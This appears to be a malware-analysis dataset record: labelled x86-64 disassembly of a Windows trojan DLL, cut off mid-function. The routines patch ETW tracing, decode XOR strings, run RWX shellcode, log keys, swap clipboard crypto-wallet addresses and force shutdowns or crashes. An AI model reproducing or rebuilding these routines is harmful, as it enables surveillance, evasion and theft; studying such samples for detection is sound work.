joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003c50
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Patch event tracing for windows function

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x18003a020]
xor rax, rsp
mov qword [rbp - 8], rax
mov rsi, rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtTraceEvent
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x28]
mov rcx, rbx
mov dword [rbp - 0x28], 0x7551744e
mov dword [rbp - 0x24], 0x49797265
mov dword [rbp - 0x20], 0x726f666e
mov rdi, rax
mov dword [rbp - 0x1c], 0x6974616d
mov dword [rbp - 0x18], 0x72506e6f
mov dword [rbp - 0x14], 0x7365636f
mov word [rbp - 0x10], reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180003d0c
xor r8d, r8d
mov edx, r8d
mov rcx, r8
cmp byte [rcx + rax], 0xb8
je 0x180003d00
inc rcx
cmp rcx, 0x11
jb 0x180003ce6
inc rdx
cmp rdx, 9
jb 0x180003ce3
jmp 0x180003d05
mov r8d, dword [rcx + rax + 1]
mov dword [0x18003f704], r8d
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x18003f0d0], rax
test rdi, rdi
je 0x180003d69
mov edx, 1
lea r9, [rbp - 0x30]
mov rcx, rdi
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, byte [rsi]
lea r9, [rbp - 0x30]
mov byte [rdi], al
mov r8d, dword [rbp - 0x30]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180010fa0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x180003e30
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [0x18003275c]
call fcn.180010cd0
or rcx, 0xffffffffffffffff
mov rbx, rax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 1
jbe 0x180003ece
mov ecx, 0x400
call fcn.180011430
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call section..text
cmp eax, 0x104
jne 0x180003ece
lea rcx, [rdi + 1]
mov edx, 0x82
xor byte [rcx - 1], 0x46
xor byte [rcx], 0x46
add rcx, 2
dec rdx
jne 0x180003e90
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x104
call fcn.180010fe0
mov rcx, rdi
call fcn.180011438
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x180003ee0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
xor ebx, ebx
mov rdi, rdx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x18000409b
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x88], r13
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x180003f64
mov rcx, rbp
mov r13, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
test rax, rax
jne 0x180003fa0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000408e
mov rcx, rdi
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
test rax, rax
je 0x18000406e
movsxd rcx, dword [r12 + 0x3c]
mov qword [rsp + 0x48], r14
movzx edx, word [rcx + r12 + 6]
lea r14, [rcx + r12 + 0x108]
test edx, edx
jle 0x180004069
mov qword [rsp + 0x70], rsi
nop
movsxd rax, ebx
lea rdi, str..text
lea rcx, [rax + rax*4]
lea rsi, [r14 + rcx*8]
mov ecx, 6
repe cmpsb byte [rsi], byte [rdi]
je 0x180004003
inc ebx
cmp ebx, edx
jl 0x180003fe0
jmp 0x180004064
movsxd rax, ebx
lea r9, [rsp + 0x80]
mov r8d, 0x40
lea rdi, [rax + rax*4]
mov ecx, dword [r14 + rdi*8 + 0xc]
mov edx, dword [r14 + rdi*8 + 8]
add rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [r14 + rdi*8 + 0xc]
mov r8d, dword [r14 + rdi*8 + 8]
lea rdx, [rcx + r12]
add rcx, r15
call fcn.180010fe0
mov ecx, dword [r14 + rdi*8 + 0xc]
mov edx, dword [r14 + rdi*8 + 8]
mov r8d, dword [rsp + 0x80]
lea r9, [rsp + 0x80]
add rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x48]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x40]
mov r12, qword [rsp + 0x78]
mov r13, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
Function at 0x180004d10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x18003a020]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x28], 0x65726944
mov dword [rbp - 0x24], 0x6e497463
mov dword [rbp - 0x20], 0x38747570
mov dword [rbp - 0x1c], 0x61657243
mov word [rbp - 0x18], 0x6574
mov byte [rbp - 0x16], 0
mov dword [rbp - 0x38], 0x504e4944
mov dword [rbp - 0x34], 0x2e385455
mov dword [rbp - 0x30], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp - 0x28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x180004d97
xor al, al
jmp 0x180004e4b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [0x1800320d0]
mov r9, rdi
mov edx, 0x800
mov rcx, rax
mov qword [rsp + 0x20], 0
call rbx
test eax, eax
js 0x180004d90
mov rcx, qword [rdi]
lea r8, [rdi + 8]
lea rdx, [0x1800320f0]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180004d90
mov rcx, qword [rdi + 8]
lea rdx, [0x1800320b0]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x180004d90
mov rcx, qword [rdi + 8]
xor edx, edx
mov rax, qword [rcx]
lea r8d, [rdx + 0xa]
call qword [rax + 0x68]
test eax, eax
js 0x180004d90
mov rcx, qword [rdi + 8]
mov dword [rbp - 0x50], socket
mov qword [rbp - 0x4c], reloc.WS2_32.dll_recv
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0x3c
mov rax, qword [rcx]
lea r8, [rbp - 0x50]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x180004d90
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
setns al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180010fa0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1800052b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov qword [rcx + 8], rdx
lea rax, vtable.CManager.0
mov r12d, r9d
mov qword [rcx], rax
mov qword [rdx + 0x180], rcx
xor r9d, r9d
mov rsi, rdx
mov rbx, r8
mov rdi, rcx
lea edx, [r9 + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rdi + 0x10], rax
lea rax, vtable.CKernelManager.0
mov qword [rdi], rax
test rbx, rbx
je 0x180005333
lea rcx, [rdi + 0x20]
xor edx, edx
mov r8d, 0x104
call fcn.1800157e0
lea rcx, [rdi + 0x24]
mov r8d, 0xff
mov rdx, rbx
call fcn.180011700
mov dword [rdi + 0x20], r12d
mov qword [rdi + 0x18], rsi
xor r12d, r12d
mov dword [rdi + 0x2068], r12d
mov rcx, qword [0x18003f8b0]
mov r8, qword [0x18003f8a8]
sub rcx, r8
movabs rax, 0xe38e38e38e38e39
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rsi, edx
test edx, edx
jle 0x1800053a9
mov ebx, r12d
nop dword [rax + rax]
lea rcx, [rbx + r8 + 0x18]
lea rdx, [rdi + 0x20]
mov r8d, 0x104
call fcn.180010fe0
add rbx, 0x120
dec rsi
je 0x1800053a9
mov r8, qword [0x18003f8a8]
jmp 0x180005380
cmp dword [0x18003f5fc], r12d
je 0x180005430
lea rax, [0x180006250]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x180002c20]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rdi + 0x2068]
mov r11d, ebx
mov qword [rdi + rax*8 + 0x128], r11
inc dword [rdi + 0x2068]
cmp dword [0x18003f5f8], r12d
je 0x1800054b7
lea rax, [0x180007570]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x180002c20]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rdi + 0x2068]
mov r11d, ebx
mov qword [rdi + rax*8 + 0x128], r11
inc dword [rdi + 0x2068]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rax, rdi
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
Function at 0x180005560
Capabilities:
Shutdown system

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov eax, dword [0x18003f704]
mov r10, qword [0x18003f0d0]
mov dword [rsp + 0x3d], 0xfd18b4c
mov dword [rsp + 0x39], eax
add r10, 0x200
mov byte [rsp + 0x41], 5
mov byte [rsp + 0x38], 0xb8
mov rax, qword [r11 - 0x30]
mov r9d, 8
mov qword [r10], rax
movzx eax, word [rsp + 0x40]
mov esi, r8d
mov word [r10 + 8], ax
mov rdi, rdx
lea rax, [r11 + 0x20]
mov rbp, rcx
lea r8, [r11 - 0x30]
lea edx, [r9 + 0x16]
or rcx, 0xffffffffffffffff
mov qword [r11 - 0x48], rax
mov byte [r10 + 0xa], 0xc3
call r10
mov rcx, qword [0x18003f0d0]
xor edx, edx
mov r8d, 0x1000
mov ebx, eax
call fcn.1800157e0
cmp ebx, 0xc0000353
jne 0x1800055fa
cmp qword [rsp + 0x38], 0
je 0x1800055fd
mov byte [rdi], 0xd
movzx eax, byte [rdi]
cmp eax, 0x22
ja case.0x180005622.1
lea rdx, [0x180000000]
movzx eax, byte [rdx + rax + 0x57c8]
mov ecx, dword [rdx + rax*4 + 0x579c]
add rcx, rdx
jmp rcx
mov ecx, 1
call fcn.180002f00
movzx ecx, byte [rdi + 1]
xor edx, edx
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
call fcn.180002f00
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtRaiseHardError
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x78]
lea ecx, [r8 + 0x13]
mov dl, 1
mov rdi, rax
call rbx
lea r11, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
mov dword [rsp + 0x20], 6
call rdi
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
mov byte [0x18003f1e4], 1
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rdi + 1]
lea rcx, str.Group
call fcn.180010be0
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rdi + 1]
lea rcx, str.Remark
call fcn.180010be0
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
mov edx, esi
mov rcx, rdi
call fcn.180005940
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea r9, [rbp + 0x20]
mov r8d, esi
mov rdx, rdi
mov rcx, rbp
call fcn.180005a20
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
mov r9d, 1
mov r8d, esi
mov rdx, rdi
jmp 0x180005784
mov r8d, esi
mov rdx, rdi
mov rcx, rbp
call fcn.1800057f0
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea r8d, [rsi - 1]
lea rdx, [rdi + 1]
xor r9d, r9d
mov rcx, rbp
call fcn.180005c40
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800057f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
movzx eax, byte [rdx]
mov rdi, rcx
cmp al, 0x12
jne 0x180005896
cmp r8d, 1
jbe 0x180005877
lea rcx, [0x18003f820]
inc rdx
mov r8d, 0x83
call fcn.180010fe0
cmp byte [0x18003f820], 0
je 0x18000583f
lea rdx, [0x18003f820]
lea rcx, str.usdt
call fcn.180010be0
cmp byte [0x18003f876], 0
je 0x18000585b
lea rdx, [0x18003f876]
lea rcx, [0x18003281c]
call fcn.180010be0
cmp byte [0x18003f848], 0
je 0x180005877
lea rdx, [0x18003f848]
lea rcx, [0x180032820]
call fcn.180010be0
lea rcx, str.cilp
mov dword [0x18003f5f8], 1
call fcn.180010dc0
lea r11, [0x180007570]
jmp 0x1800058bb
cmp al, 0x17
jne 0x180005932
lea rcx, str.keyboard
mov dword [0x18003f5fc], 1
call fcn.180010dc0
lea r11, [0x180006250]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x48], rax
xor eax, eax
lea r8, [0x180002c20]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rdi + 0x2068]
mov ecx, ebx
mov qword [rdi + rax*8 + 0x128], rcx
inc dword [rdi + 0x2068]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret

Function at 0x18000594c
Capabilities:
Encode data using xor

Disassembly:
cmp edx, 0x105
jne 0x180005a18
sub rsp, 0x548
mov rax, qword [0x18003a020]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rdx, [rcx + 1]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.180010fe0
lea r11, [rsp + 0x21]
mov eax, 0x82
nop word [rax + rax]
xor byte [r11 - 1], 0x46
xor byte [r11], 0x46
add r11, 2
dec rax
jne 0x180005990
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x130], al
call fcn.1800157e0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x130]
call fcn.180001140
cmp eax, 1
jle 0x180005a01
cmp byte [rsp + 0x130], 0
je 0x180005a01
lea rdx, [rsp + 0x130]
lea rcx, [0x18003275c]
call fcn.180010be0
mov byte [0x18003f1e5], 1
mov byte [0x18003f1e4], 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.180010fa0
add rsp, 0x548
repz ret
Function at 0x180005a20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rsi, rcx
mov ecx, 0x120
mov r14, r9
mov edi, r8d
mov rbp, rdx
call fcn.180011440
mov rbx, rax
test rax, rax
je 0x180005c1d
xor edx, edx
mov r8d, 0x120
mov rcx, rax
call fcn.1800157e0
cmp edi, 1
jne 0x180005b88
mov rcx, qword [0x18003f8b0]
mov r10, qword [0x18003f8a8]
xor edi, edi
sub rcx, r10
movabs rax, 0xe38e38e38e38e39
mov r9d, edi
mov r8d, edi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rcx, edx
test edx, edx
jle 0x180005ae3
movzx edx, byte [rbp]
mov rax, r10
nop
cmp dl, byte [rax]
je 0x180005ac7
inc r8
inc r9d
add rax, 0x120
cmp r8, rcx
jl 0x180005ab0
jmp 0x180005ae3
movsxd rax, r9d
mov rcx, rbx
mov r8d, 0x120
lea rdx, [rax + rax*8]
shl rdx, 5
add rdx, r10
call fcn.180010fe0
cmp byte [rbx], dil
jne 0x180005b07
mov rcx, qword [rsi + 0x18]
mov r8d, 1
mov rdx, rbp
call fcn.1800027c0
mov rcx, rbx
call fcn.180010fc0
jmp 0x180005c1d
lea rcx, [0x180004e70]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rcx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x180002c20]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov ecx, ebx
mov qword [rsi + rax*8 + 0x128], rcx
inc dword [rsi + 0x2068]
jmp 0x180005c1d
lea eax, [rdi - 7]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r13
mov ecx, eax
mov r13d, eax
call fcn.180011430
mov r12, rax
test rax, rax
je 0x180005c13
lea rdx, [rbp + 7]
mov r8d, r13d
mov rcx, rax
call fcn.180010fe0
movzx r11d, byte [rbp]
lea eax, [rdi - 7]
mov byte [rbx], r11b
mov qword [rbx + 0x10], r12
mov dword [rbx + 4], eax
mov eax, dword [rbp + 1]
lea rcx, [rbx + 0x18]
mov rdx, r14
mov dword [rbx + 8], eax
movzx eax, word [rbp + 5]
mov r8d, 0x104
mov word [rbx + 0xc], ax
call fcn.180010fe0
mov rcx, rbx
call fcn.180007690
lea rcx, [0x180004e70]
mov rdx, rbx
call fcn.180002c80
mov ecx, dword [rsi + 0x2068]
mov qword [rsi + rcx*8 + 0x128], rax
inc dword [rsi + 0x2068]
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x180005c40
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x50
mov r12d, r8d
mov rbp, rdx
mov rsi, rcx
test r9d, r9d
je 0x180005d16
mov ecx, 0x120
call fcn.180011440
mov rbx, rax
test rax, rax
je 0x180005d00
xor edx, edx
mov r8d, 0x120
mov rcx, rax
mov qword [rsp + 0x70], r13
call fcn.1800157e0
lea r11d, [r12 - 7]
mov ecx, r11d
mov r13d, r11d
call fcn.180011430
mov rdi, rax
test rax, rax
je 0x180005cfb
lea rdx, [rbp + 7]
mov r8d, r13d
mov rcx, rax
call fcn.180010fe0
movzx r11d, byte [rbp]
lea eax, [r12 - 7]
mov byte [rbx], r11b
mov qword [rbx + 0x10], rdi
mov dword [rbx + 4], eax
mov eax, dword [rbp + 1]
lea rcx, [0x180005020]
mov rdx, rbx
mov dword [rbx + 8], eax
movzx eax, word [rbp + 5]
mov word [rbx + 0xc], ax
call fcn.180002c80
mov ecx, dword [rsi + 0x2068]
mov qword [rsi + rcx*8 + 0x128], rax
inc dword [rsi + 0x2068]
mov r13, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r12
pop rdi
pop rsi
ret
mov rcx, r12
call fcn.180011430
mov r8, r12
mov rdx, rbp
mov rcx, rax
mov rdi, rax
call fcn.180010fe0
lea r11, [0x180004fa0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x180002c20]
mov qword [rsp + 0x48], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov ecx, ebx
mov qword [rsi + rax*8 + 0x128], rcx
inc dword [rsi + 0x2068]
jmp 0x180005d00

Function at 0x180005dc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov rsi, rcx
mov qword [rsp + 0x30], 0
lea rcx, [0x18003f710]
lea r8d, [r9 + 3]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180005e57
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x58]
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180007280
Capabilities:
Get file size
Open clipboard
Read clipboard data
Write clipboard data
Write file on windows

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x80
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rax, qword [0x18003a020]
xor rax, rsp
mov qword [rsp + 0x78], rax
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x180007490
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x18000748a
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rsi, rax
test rax, rax
je 0x18000748a
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r12 + 1]
lea rcx, [0x18003f600]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800073a2
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x80000000
jae 0x180007399
lea r9d, [r12 + 2]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x40]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x40]
lea r8d, [r12 + 2]
lea rdx, [0x180032c20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x18003f848], r12b
jne 0x1800073c1
cmp byte [0x18003f820], r12b
jne 0x1800073c1
cmp byte [0x18003f876], r12b
je 0x180007481
mov qword [rsp + 0x68], select
mov qword [rsp + 0x60], r12
mov byte [rsp + 0x50], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.180004ba0
nop
lea rcx, [rsp + 0x50]
call fcn.1800069d0
test eax, eax
jne 0x18000746f
mov rdx, qword [rsp + 0x60]
inc rdx
lea ecx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
test rax, rax
je 0x18000746f
call qword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x18000746f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rbx, rax
test rax, rax
je 0x18000746f
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
inc r8
mov rcx, rax
call fcn.180010fe0
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
cmp qword [rsp + 0x68], 0x10
jb 0x180007481
mov rcx, qword [rsp + 0x50]
